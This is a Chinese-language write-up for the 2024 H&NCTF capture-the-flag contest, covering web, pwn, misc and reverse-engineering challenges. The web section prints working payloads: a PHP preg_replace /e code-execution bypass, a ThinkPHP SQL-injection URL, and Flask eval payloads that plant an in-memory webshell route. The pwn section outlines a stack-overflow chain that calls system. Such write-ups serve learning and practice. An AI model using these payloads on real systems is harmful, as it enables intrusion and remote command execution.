【2024】H&NCTF
Web
Please_RCE_Me
GET传参输入?moran=flag,之后获取源码:
1 |
|
这个是RCE吗?
审一审。成功找到了漏洞点,preg_replace("/please_give_me_flag/ei",![](https://www.yuque.com/api/services/graph/generate_redirect/latex?_POST%5B'task'%5D%2C#card=math&code=_POST%5B%27task%27%5D%2C&id=o3Kvv)_POST['flag']);可以看到,存在/e模式,再看看PHP版本,5.6.40,可能存在/e的命令执行漏洞。
前面,需要绕的Waf第一个为:
1 | preg_match('/system|eval|assert|call|create|preg|sort|{|}|filter|exec|passthru|proc|open|echo|`| |.|include|require|flag/i',$str1) |
这个绕过先放放,看看后面两个:
strlen(str2) != 19 || preg_match(‘/please_give_me_flag/‘,str2)
因为都是逻辑或,所以得让他们都为False,刚好,please_give_me_flag 长度为19,第二个正则刚好是大小写敏感,所以大小写混合绕过。
然后就是补充下关于/e模式的问题:
preg_replace 使用了 /e 模式,导致可以代码执行,而且该函数的第一个和第三个参数都是我们可以控制的。我们都知道, preg_replace 函数在匹配到符号正则的字符串时,会将替换字符串(也就是上图 preg_replace 函数的第二个参数)当做代码来执行
最后尝试下phpinfo:
1 | //POST传参 |
成功打出组合拳。
再回头看看第一个过滤,看上去几乎把所有的shell函数都过滤了。推测flag在根目录,那么学着使用无参数RCE的方式打这套组合拳,payload如下:
flag=Please_give_me_flag&task=chdir(“/“)|highlight_file(scandir(pos(localeconv()))[7])
最后得到flag
ez_tp(复现)
看起来像是thinkphp的题,不过,是非预期的题,用平常的payload一把梭怕是不对,所以,还能怎么搞?下在附件下来审审吧。
在附件/ez_tp/App/Home/Controller中存在IndexController.class.php文件,打开看看:
这应该是一个路由吧:
1 | public function h_n() |
路由应该是h_n,那么,应该怎么打呢?不知道为啥,复现的时候日志找不到了,看dalao们的wp的时候,都说的是根据后台的日志有payload,但是现在跑去找又找不到了。
继续往后面审计,发现了如下代码
1 | $name = I('GET.name'); |
好,知道了需要通过get传参,还是GET传参。
1 | $pattern = "insert|update|delete|and|or|\/\*|\*|\.\.\/|\.\/|into|load_file|outfile|dumpfile|sub|hex"; |
这里大概审一下就是,检测所有的键值对中,是否存在黑名单字段,所以,我们传入的参数键值对都不能出现黑名单字段,因此,文件包含和RCE没法打,再看看下面的这段代码:
1 | if (waf()){ |
猜测应该这儿应该有个sql注入存在,并且没有过滤select,所以,根据thinkphp的以前的payload,以及大佬的wp中说的日志中的信息,可以得知payload为:
1 | /index.php/home/index/h_n?name[0]=exp&name[1]=%3d%27test123%27%20union%20select%201,flag%20from%20flag |
最后得到了flag: array ( 0 => array ( ‘username’ => ‘1’, ‘age’ => ‘H&NCTF{Cjp_6c3114ee-23e1-459b-ad88-9b29ccfde934}’, ), )
ezFlask(复现)
题目没出flask,但是好在了解了一个新的flask的ssti的姿势,记录在这儿,不知道为啥,跟着wp复现,却还是失败了,先记录吧,之后再改。
首先,打开网页就给了个提示:
:::info
冒险即将开始!!! 请移步/Adventure路由进行命令执行,后端语句为: cmd = request.form[‘cmd’] eval(cmd) 注意,你仅有一次机会,在进行唯一一次成功的命令执行后生成flag并写入/flag 执行无回显,目录没权限部分命令ban,也不要想着写文件~
:::
失败情况:
大概跟他提示的一样,就是一个命令执行,不过没思路,很可惜,看了下wp,说的是写入内存马到一个路由里,但是我复现却失败了,不知是为何,他给的内存马的payload能成功写入,并且能访问到写入的路由,但是,却会报500错误,不知是为何,等官方wp出了再看看是为啥吧,payload先写在下面。
1 | cmd=render_template_string("{{url_for.__globals__['__builtins__']['eval'](\"app.add_url_rule('/shell', 'myshell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd')).read())\",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}") |
成功情况:
找到了另一个payload,同样是内存马,payload如下:
1 | cmd=app.add_url_rule('/test','test',lambda:__import__('os').popen(request.args.get('cmd')).read()) |
之后访问/test?cmd=cat+/flag成功出flag:flag{42ae8a8b-4f88-4c45-a162-bd1881da16ea}。
Pwn:
close
逆天题目,纯牛马出题人,想暴打。
拿到题目第一件事儿是检查保护,这个题保护也就那样,PIE加NX。
1 | root@g01den-virtual-machine:/mnt/shared# checksec pwn |
反编译看看:
1 | int __fastcall main(int argc, const char **argv, const char **envp) |
这题目什么玩意儿?关闭了标准输出流还玩儿毛线?
算了,老老实实干就完了。经过长时间查找资料,最后找到了做法。
1 | root@g01den-virtual-machine:/mnt/shared |
心中暗暗暴打出题人两分钟泄愤。 (* ̄︿ ̄)
ez_pwn(复现,exp是大佬的,有时间自己再写个exp)
看到这个题,我突然觉得我是个执杖,我还以为是出题人故意搞我心态,结果是我学艺不精的缘故,好吧,我的问题,没看出来,我摊牌了,我是个XX。
好吧,老样子,Ubuntu启动!!!
还是先查看保护:
1 | root@g01den-virtual-machine:/mnt/shared# checksec pwn |
然后IDA反编译,漏洞函数为:
1 | int vul() |
发现了点东西,就是,这里存在一些问题,就是,read函数读取的数据为48字节,但是,经过动态调试得出的缓冲区s的大小为44字节,好好好,IDA你又得记大过了。
之后,第一次不需要溢出,将缓冲区全部写满即可,因为存在%s这个格式串配合printf函数,所以,能够直接把rbp的值给打印出来,所以只需要接收之后,就可以拿到rbp的值了,然后,通过动态调试得到的rbp的地址与缓冲区buf的地址,就可以拿到字符串的地址了。
接收到了rbp的值之后,减去56就可以得到字符串的地址了。
之后则是需要通过栈调用read函数,向bss段写入sh;(这里我没弄懂为啥不能直接传/bin/sh,而是要传sh;进去),之后重新调用main函数重新运行程序,不过,到了这里之后会出一点问题,那就是,第二次进入main之后,栈的布局会发生变化,重新进入vul函数之后,里面的指针指向的是vul函数内的字符串,而不是之前那个,所以这里需要重新进行一次字符串地址的泄露,之后才能对栈进行布局来调用system函数。
大佬的exp如下:
1 | from pwn import * |
最后得到flag:
1 | H&NCTF{06b0540d-df19-4b49-9e63-fb7b8b67f8f9} |
Misc:
ManCraft - 娱乐题:
一个我的世界的服务器,下载1.20.4版本之后进入服务器,根据提示,先绑定队伍的token,之后迅速发育,然后勾引金甲僵尸,也就是劳大,把它勾引到陷阱里杀死,然后就能够拿到一个key,之后用这个key就能拿到flag。
osint(复现):
onist.png
溯源的题,一张图片,光是图片来看,似乎只有两种可能,起飞或者降落,又因为题目要求我们输入目的地,所以,如果是难度不高的话,这儿应该是目的地。
检查图片属性,发现这张照片最后依次的修改时间是4月23日下午3点多,这张照片很明显是晚上拍摄的,所以,照例来说,这张图应该是在之前的晚上拍摄的,所以,先从4月22日晚上到23日凌晨的航班来看。
另外,根据机翼上红色的那个红色的图,在网上找到了应该是海南航空的飞机,且左边数字,有个22,大概推测注册号是X-22XX,左边的字母,好像是根据国家不同定的,中国的是B。
之后,搜索注册号为B-22,能够知道有几个:
之后,通过搜索4月22日晚上到4月23日凌晨那段时间的海南航空的飞机,大致可以得到航班号为HU7006。
拿到了航班之后,通过航班和时间搜索,能搜到起始地和目的地,目的地是海口美兰国际机场。
最后,感觉运气使然,在机场附近遇到个有点眼熟的路的弧度,抱着试一试的想法,把地址写上去,结果正确了:
最后flag:
1 | H-NCTF{ae53219d0966} |
Re
最喜欢的逆向题
签到题
v1=a1[5]=105
64位
hnwna
一个CSharp写的小游戏
方法一:
用ILSPY打开下面的文件
搜索找到关键函数了(一开始搜索区域不对,导致找不到关键函数)
函数a为凯撒,if判断那里移位为5
加密
方法二:dnspy,类似于破解
DO YOU KNOW SWDD?(wait)
32位打开ida,出现SMC。
动态调试
在导入表中有virtualprotect函数,这里对内存权限进行了修改,大概率是SMC。
看41127B函数(断点位置下错了,照着wp都能错,服了)
看4113D9
p然后f5
可知是凯撒移位10位
childmaze
迷宫问题
方法一:静态分析
找到关键数据部分(不易找到),交叉引用
1 | s = "H'L@PC}Ci625`hG2]3bZK4{1~" |
方法二:调试
在判断跳转的时候下个断点修改zf标识符或者改为jnz都能实现直接输出flag
emmIDA 版本问题吧,识别不出rust。。。。